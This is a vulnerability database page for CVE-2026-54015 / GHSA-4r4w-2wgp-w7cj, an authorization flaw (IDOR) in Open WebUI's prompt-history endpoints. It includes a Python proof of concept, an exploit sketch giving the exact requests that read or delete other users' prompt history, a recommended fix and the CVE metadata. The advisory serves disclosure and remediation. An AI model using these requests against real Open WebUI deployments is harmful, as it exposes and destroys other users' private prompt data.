Vulnerability-Lookup

GHSA-4R4W-2WGP-W7CJ

Vulnerability from github – Published: 2026-06-17 14:16 – Updated: 2026-06-17 14:16

Summary

Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion

Details

Summary

Open WebUI's prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). Three operations are affected:

GET /api/v1/prompts/id/{prompt_id}/history/diff — returns another prompt's history snapshots (read).
POST /api/v1/prompts/id/{prompt_id}/update/version — restores another prompt's snapshot into the caller's prompt, exposing its content (read).
DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id} — deletes another prompt's history entry (delete).

An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history_id}) already enforces the binding; these three did not.

Impact

Security boundary crossed: prompt confidentiality and integrity.

Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompt_history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.

Root Cause

The route checks read access only for prompt_id:

# backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
    user.role == 'admin'
    or prompt.user_id == user.id
    or await AccessGrants.has_access(
        user_id=user.id,
        resource_type='prompt',
        resource_id=prompt.id,
        permission='read',
        db=db,
    )
):
    raise HTTPException(...)

But the authorized prompt ID is not passed into the diff sink:

# backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)

compute_diff() fetches both history entries globally by ID and returns their full snapshots:

# backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
    'from_snapshot': from_snapshot,
    'to_snapshot': to_snapshot,
    ...
}

There is no check that from_entry.prompt_id == prompt_id or to_entry.prompt_id == prompt_id.

The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by version_id:

# backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content)   # foreign snapshot copied into caller's prompt
prompt.version_id = version_id

DELETE .../history/{history_id} deletes an entry fetched globally by history_id:

# backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)

Neither checks entry.prompt_id == prompt.id. The single-entry read endpoint (GET .../history/{history_id}) does (history_entry.prompt_id != prompt.id → 404); these three endpoints were missing it.

PoC

#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.

The PoC executes:
  - the real routers.prompts.get_prompt_diff() route function
  - the real PromptHistories.compute_diff() implementation

Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""

from __future__ import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare_imports() -> None:
    repo_root = Path(__file__).resolve().parents[1]
    sys.path.insert(0, str(repo_root / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeScalarResult:
    def __init__(self, row):
        self.row = row

    def first(self):
        return self.row


class FakeExecuteResult:
    def __init__(self, row):
        self.row = row

    def scalars(self):
        return FakeScalarResult(self.row)


class FakePromptHistoryDb:
    def __init__(self, rows):
        self.rows = rows
        self.calls = 0

    async def execute(self, stmt):
        row = self.rows[self.calls]
        self.calls += 1
        return FakeExecuteResult(row)


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def run_real_compute_diff(from_id: str, to_id: str):
    import open_webui.models.prompt_history as history_module

    victim_from = SimpleNamespace(
        id=from_id,
        prompt_id="victim-prompt",
        snapshot={
            "name": "Victim Prompt",
            "command": "/victim",
            "content": "PRIVATE_PROMPT_SECRET_V1",
        },
    )
    victim_to = SimpleNamespace(
        id=to_id,
        prompt_id="victim-prompt",
        snapshot={
            "name": "Victim Prompt",
            "command": "/victim",
            "content": "PRIVATE_PROMPT_SECRET_V2",
        },
    )

    fake_db = FakePromptHistoryDb([victim_from, victim_to])
    original_context = history_module.get_async_db_context
    try:
        history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
    finally:
        history_module.get_async_db_context = original_context

    return diff


async def main() -> None:
    prepare_imports()

    import open_webui.routers.prompts as prompts_router

    attacker_prompt = SimpleNamespace(
        id="attacker-prompt",
        user_id="attacker",
    )
    attacker = SimpleNamespace(id="attacker", role="user")
    victim_from_id = "victim-history-from"
    victim_to_id = "victim-history-to"

    class FakePrompts:
        looked_up_prompt_ids = []

        async def get_prompt_by_id(self, prompt_id, db=None):
            self.looked_up_prompt_ids.append(prompt_id)
            if prompt_id == "attacker-prompt":
                return attacker_prompt
            return None

    class FakeAccessGrants:
        async def has_access(self, *args, **kwargs):
            return False

    class FakePromptHistories:
        compute_diff_calls = []

        async def compute_diff(self, from_id, to_id, db=None):
            self.compute_diff_calls.append(
                {
                    "from_id": from_id,
                    "to_id": to_id,
                    "authorized_prompt_id_not_passed": True,
                }
            )
            return await run_real_compute_diff(from_id, to_id)

    fake_prompts = FakePrompts()
    fake_histories = FakePromptHistories()

    original = {
        "Prompts": prompts_router.Prompts,
        "AccessGrants": prompts_router.AccessGrants,
        "PromptHistories": prompts_router.PromptHistories,
    }
    try:
        prompts_router.Prompts = fake_prompts
        prompts_router.AccessGrants = FakeAccessGrants()
        prompts_router.PromptHistories = fake_histories

        diff = await prompts_router.get_prompt_diff(
            prompt_id="attacker-prompt",
            from_id=victim_from_id,
            to_id=victim_to_id,
            user=attacker,
            db=None,
        )
    finally:
        for name, value in original.items():
            setattr(prompts_router, name, value)

    result = {
        "confirmed": (
            diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
            and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
            and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
            and fake_histories.compute_diff_calls
            and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
        ),
        "attacker_user_id": "attacker",
        "authorized_prompt_id": "attacker-prompt",
        "victim_prompt_id": "victim-prompt",
        "victim_history_ids": [victim_from_id, victim_to_id],
        "prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
        "compute_diff_calls": fake_histories.compute_diff_calls,
        "leaked_from_snapshot": diff.get("from_snapshot"),
        "leaked_to_snapshot": diff.get("to_snapshot"),
        "source": {
            "route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
            "sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
        },
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    if not result["confirmed"]:
        raise SystemExit(1)


if __name__ == "__main__":
    asyncio.run(main())

The PoC executes the real route function and the real PromptHistories.compute_diff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.

Result:

{
  "attacker_user_id": "attacker",
  "authorized_prompt_id": "attacker-prompt",
  "confirmed": true,
  "leaked_from_snapshot": {
    "command": "/victim",
    "content": "PRIVATE_PROMPT_SECRET_V1",
    "name": "Victim Prompt"
  },
  "leaked_to_snapshot": {
    "command": "/victim",
    "content": "PRIVATE_PROMPT_SECRET_V2",
    "name": "Victim Prompt"
  },
  "prompt_ids_authorized_by_route": [
    "attacker-prompt"
  ],
  "victim_history_ids": [
    "victim-history-from",
    "victim-history-to"
  ],
  "victim_prompt_id": "victim-prompt"
}

Exploit Sketch

Read via the diff endpoint:

Attacker has read access to ATTACKER_PROMPT_ID.
Attacker knows two history IDs for a victim prompt: VICTIM_FROM_HISTORY_ID and VICTIM_TO_HISTORY_ID.
Attacker requests:

GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID

The server authorizes ATTACKER_PROMPT_ID, then returns snapshots for the victim history IDs.

Read via restore (update/version): the attacker POSTs {"version_id": "VICTIM_HISTORY_ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.

Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID; the victim history entry is removed.

Recommended Fix

Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:

compute_diff() should accept prompt_id and query both entries with PromptHistory.prompt_id == prompt_id alongside the id filter.
delete_history_entry() should accept prompt_id and filter filter_by(id=history_id, prompt_id=prompt_id).
update_prompt_version() should reject history_entry.prompt_id != prompt_id before restoring.

Return 404/403 on mismatch.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history_entry.prompt_id == prompt.id binding) reached through different endpoints:

Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
update/version restore-read: distinct path demonstrated by @5yu4n.

One CVE for the consolidated advisory.

Severity

6.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54015"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:16:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nOpen WebUI\u0027s prompt version-history endpoints authorize the `prompt_id` in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (`history_entry.prompt_id == prompt.id`). Three operations are affected:\n\n- `GET /api/v1/prompts/id/{prompt_id}/history/diff` \u2014 returns another prompt\u0027s history snapshots (read).\n- `POST /api/v1/prompts/id/{prompt_id}/update/version` \u2014 restores another prompt\u0027s snapshot into the caller\u0027s prompt, exposing its content (read).\n- `DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}` \u2014 deletes another prompt\u0027s history entry (delete).\n\nAn authenticated user with access to any prompt they control, plus a victim `prompt_history.id`, can read or delete another user\u0027s private prompt history. The single-entry read endpoint (`GET .../history/{history_id}`) already enforces the binding; these three did not.\n\n## Impact\n\nSecurity boundary crossed: prompt confidentiality and integrity.\n\nPrompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim `prompt_history.id`, an attacker can read another user\u0027s snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user\u0027s history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.\n\n## Root Cause\n\nThe route checks read access only for `prompt_id`:\n\n```python\n# backend/open_webui/routers/prompts.py\nprompt = await Prompts.get_prompt_by_id(prompt_id, db=db)\n...\nif not (\n    user.role == \u0027admin\u0027\n    or prompt.user_id == user.id\n    or await AccessGrants.has_access(\n        user_id=user.id,\n        resource_type=\u0027prompt\u0027,\n        resource_id=prompt.id,\n        permission=\u0027read\u0027,\n        db=db,\n    )\n):\n    raise HTTPException(...)\n```\n\nBut the authorized prompt ID is not passed into the diff sink:\n\n```python\n# backend/open_webui/routers/prompts.py\ndiff = await PromptHistories.compute_diff(from_id, to_id, db=db)\n```\n\n`compute_diff()` fetches both history entries globally by ID and returns their full snapshots:\n\n```python\n# backend/open_webui/models/prompt_history.py\nresult_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))\nfrom_entry = result_from.scalars().first()\nresult_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))\nto_entry = result_to.scalars().first()\n...\nreturn {\n    \u0027from_snapshot\u0027: from_snapshot,\n    \u0027to_snapshot\u0027: to_snapshot,\n    ...\n}\n```\n\nThere is no check that `from_entry.prompt_id == prompt_id` or `to_entry.prompt_id == prompt_id`.\n\nThe same missing binding affects two further endpoints. `POST .../update/version` restores a snapshot fetched globally by `version_id`:\n\n```python\n# backend/open_webui/models/prompts.py \u2014 update_prompt_version\nhistory_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)\n...\nprompt.content = snapshot.get(\u0027content\u0027, prompt.content)   # foreign snapshot copied into caller\u0027s prompt\nprompt.version_id = version_id\n```\n\n`DELETE .../history/{history_id}` deletes an entry fetched globally by `history_id`:\n\n```python\n# backend/open_webui/models/prompt_history.py \u2014 delete_history_entry\nresult = await db.execute(select(PromptHistory).filter_by(id=history_id))\nentry = result.scalars().first()\n...\nawait db.delete(entry)\n```\n\nNeither checks `entry.prompt_id == prompt.id`. The single-entry read endpoint (`GET .../history/{history_id}`) does (`history_entry.prompt_id != prompt.id \u2192 404`); these three endpoints were missing it.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for prompt history diff IDOR.\n\nThe PoC executes:\n  - the real routers.prompts.get_prompt_diff() route function\n  - the real PromptHistories.compute_diff() implementation\n\nFake model/DB adapters are used only to avoid requiring a running server. The\nsecurity-sensitive behavior under test is that the route authorizes the prompt\nID in the URL, then computes a diff for arbitrary history IDs without checking\nthat those history rows belong to the authorized prompt.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -\u003e None:\n    repo_root = Path(__file__).resolve().parents[1]\n    sys.path.insert(0, str(repo_root / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeScalarResult:\n    def __init__(self, row):\n        self.row = row\n\n    def first(self):\n        return self.row\n\n\nclass FakeExecuteResult:\n    def __init__(self, row):\n        self.row = row\n\n    def scalars(self):\n        return FakeScalarResult(self.row)\n\n\nclass FakePromptHistoryDb:\n    def __init__(self, rows):\n        self.rows = rows\n        self.calls = 0\n\n    async def execute(self, stmt):\n        row = self.rows[self.calls]\n        self.calls += 1\n        return FakeExecuteResult(row)\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def run_real_compute_diff(from_id: str, to_id: str):\n    import open_webui.models.prompt_history as history_module\n\n    victim_from = SimpleNamespace(\n        id=from_id,\n        prompt_id=\"victim-prompt\",\n        snapshot={\n            \"name\": \"Victim Prompt\",\n            \"command\": \"/victim\",\n            \"content\": \"PRIVATE_PROMPT_SECRET_V1\",\n        },\n    )\n    victim_to = SimpleNamespace(\n        id=to_id,\n        prompt_id=\"victim-prompt\",\n        snapshot={\n            \"name\": \"Victim Prompt\",\n            \"command\": \"/victim\",\n            \"content\": \"PRIVATE_PROMPT_SECRET_V2\",\n        },\n    )\n\n    fake_db = FakePromptHistoryDb([victim_from, victim_to])\n    original_context = history_module.get_async_db_context\n    try:\n        history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        diff = await history_module.PromptHistories.compute_diff(from_id, to_id)\n    finally:\n        history_module.get_async_db_context = original_context\n\n    return diff\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n\n    import open_webui.routers.prompts as prompts_router\n\n    attacker_prompt = SimpleNamespace(\n        id=\"attacker-prompt\",\n        user_id=\"attacker\",\n    )\n    attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n    victim_from_id = \"victim-history-from\"\n    victim_to_id = \"victim-history-to\"\n\n    class FakePrompts:\n        looked_up_prompt_ids = []\n\n        async def get_prompt_by_id(self, prompt_id, db=None):\n            self.looked_up_prompt_ids.append(prompt_id)\n            if prompt_id == \"attacker-prompt\":\n                return attacker_prompt\n            return None\n\n    class FakeAccessGrants:\n        async def has_access(self, *args, **kwargs):\n            return False\n\n    class FakePromptHistories:\n        compute_diff_calls = []\n\n        async def compute_diff(self, from_id, to_id, db=None):\n            self.compute_diff_calls.append(\n                {\n                    \"from_id\": from_id,\n                    \"to_id\": to_id,\n                    \"authorized_prompt_id_not_passed\": True,\n                }\n            )\n            return await run_real_compute_diff(from_id, to_id)\n\n    fake_prompts = FakePrompts()\n    fake_histories = FakePromptHistories()\n\n    original = {\n        \"Prompts\": prompts_router.Prompts,\n        \"AccessGrants\": prompts_router.AccessGrants,\n        \"PromptHistories\": prompts_router.PromptHistories,\n    }\n    try:\n        prompts_router.Prompts = fake_prompts\n        prompts_router.AccessGrants = FakeAccessGrants()\n        prompts_router.PromptHistories = fake_histories\n\n        diff = await prompts_router.get_prompt_diff(\n            prompt_id=\"attacker-prompt\",\n            from_id=victim_from_id,\n            to_id=victim_to_id,\n            user=attacker,\n            db=None,\n        )\n    finally:\n        for name, value in original.items():\n            setattr(prompts_router, name, value)\n\n    result = {\n        \"confirmed\": (\n            diff.get(\"from_snapshot\", {}).get(\"content\") == \"PRIVATE_PROMPT_SECRET_V1\"\n            and diff.get(\"to_snapshot\", {}).get(\"content\") == \"PRIVATE_PROMPT_SECRET_V2\"\n            and fake_prompts.looked_up_prompt_ids == [\"attacker-prompt\"]\n            and fake_histories.compute_diff_calls\n            and fake_histories.compute_diff_calls[0][\"authorized_prompt_id_not_passed\"] is True\n        ),\n        \"attacker_user_id\": \"attacker\",\n        \"authorized_prompt_id\": \"attacker-prompt\",\n        \"victim_prompt_id\": \"victim-prompt\",\n        \"victim_history_ids\": [victim_from_id, victim_to_id],\n        \"prompt_ids_authorized_by_route\": fake_prompts.looked_up_prompt_ids,\n        \"compute_diff_calls\": fake_histories.compute_diff_calls,\n        \"leaked_from_snapshot\": diff.get(\"from_snapshot\"),\n        \"leaked_to_snapshot\": diff.get(\"to_snapshot\"),\n        \"source\": {\n            \"route\": \"backend/open_webui/routers/prompts.py:get_prompt_diff\",\n            \"sink\": \"backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff\",\n        },\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    if not result[\"confirmed\"]:\n        raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nThe PoC executes the real route function and the real `PromptHistories.compute_diff()` implementation with fake model/DB adapters. It authorizes the attacker against `attacker-prompt`, then supplies two victim history IDs. The route returns the victim prompt snapshots.\n\nResult:\n\n```json\n{\n  \"attacker_user_id\": \"attacker\",\n  \"authorized_prompt_id\": \"attacker-prompt\",\n  \"confirmed\": true,\n  \"leaked_from_snapshot\": {\n    \"command\": \"/victim\",\n    \"content\": \"PRIVATE_PROMPT_SECRET_V1\",\n    \"name\": \"Victim Prompt\"\n  },\n  \"leaked_to_snapshot\": {\n    \"command\": \"/victim\",\n    \"content\": \"PRIVATE_PROMPT_SECRET_V2\",\n    \"name\": \"Victim Prompt\"\n  },\n  \"prompt_ids_authorized_by_route\": [\n    \"attacker-prompt\"\n  ],\n  \"victim_history_ids\": [\n    \"victim-history-from\",\n    \"victim-history-to\"\n  ],\n  \"victim_prompt_id\": \"victim-prompt\"\n}\n```\n\n## Exploit Sketch\n\nRead via the diff endpoint:\n\n1. Attacker has read access to `ATTACKER_PROMPT_ID`.\n2. Attacker knows two history IDs for a victim prompt: `VICTIM_FROM_HISTORY_ID` and `VICTIM_TO_HISTORY_ID`.\n3. Attacker requests:\n\n```text\nGET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID\u0026to_id=VICTIM_TO_HISTORY_ID\n```\n\n4. The server authorizes `ATTACKER_PROMPT_ID`, then returns snapshots for the victim history IDs.\n\nRead via restore (`update/version`): the attacker `POST`s `{\"version_id\": \"VICTIM_HISTORY_ID\"}` to their own prompt\u0027s `update/version`, then `GET`s their prompt; it now holds the victim snapshot\u0027s name/content/data/meta/tags.\n\nDelete: the attacker sends `DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID`; the victim history entry is removed.\n\n## Recommended Fix\n\nBind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:\n\n- `compute_diff()` should accept `prompt_id` and query both entries with `PromptHistory.prompt_id == prompt_id` alongside the id filter.\n- `delete_history_entry()` should accept `prompt_id` and filter `filter_by(id=history_id, prompt_id=prompt_id)`.\n- `update_prompt_version()` should reject `history_entry.prompt_id != prompt_id` before restoring.\n\nReturn 404/403 on mismatch.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing `history_entry.prompt_id == prompt.id` binding) reached through different endpoints:\n\n- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).\n- `update/version` restore-read: distinct path demonstrated by @5yu4n.\n\nOne CVE for the consolidated advisory.",
  "id": "GHSA-4r4w-2wgp-w7cj",
  "modified": "2026-06-17T14:16:50Z",
  "published": "2026-06-17T14:16:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4r4w-2wgp-w7cj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion"
}

CVE-2026-54015 (GCVE-0-2026-54015)

Vulnerability from cvelistv5 – Published: 2026-06-23 16:44 – Updated: 2026-06-23 16:44

Title

Open WebUI: Prompt history IDOR: unbound history_id allows cross-prompt read and deletion

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI's prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). This affects /api/v1/prompts/id/{prompt_id}/history/diff, /api/v1/prompts/id/{prompt_id}/update/version, and /api/v1/prompts/id/{prompt_id}/history/{history_id}. An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user's private prompt history. This vulnerability is fixed in 0.9.6.

Severity

6.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L

CWE

CWE-284 - Improper Access Control
CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/open-webui/open-webui/security…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
open-webui	open-webui	Affected: < 0.9.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI\u0027s prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). This affects /api/v1/prompts/id/{prompt_id}/history/diff, /api/v1/prompts/id/{prompt_id}/update/version, and /api/v1/prompts/id/{prompt_id}/history/{history_id}. An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user\u0027s private prompt history. This vulnerability is fixed in 0.9.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 6.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-23T16:44:57.526Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4r4w-2wgp-w7cj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4r4w-2wgp-w7cj"
        }
      ],
      "source": {
        "advisory": "GHSA-4r4w-2wgp-w7cj",
        "discovery": "UNKNOWN"
      },
      "title": "Open WebUI: Prompt history IDOR: unbound history_id allows cross-prompt read and deletion"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54015",
    "datePublished": "2026-06-23T16:44:57.526Z",
    "dateReserved": "2026-06-11T16:34:11.636Z",
    "dateUpdated": "2026-06-23T16:44:57.526Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-4R4W-2WGP-W7CJ

Summary

Impact

Root Cause

PoC

Exploit Sketch

Recommended Fix

Consolidation

CVE-2026-54015 (GCVE-0-2026-54015)

Tags

Sightings

Nomenclature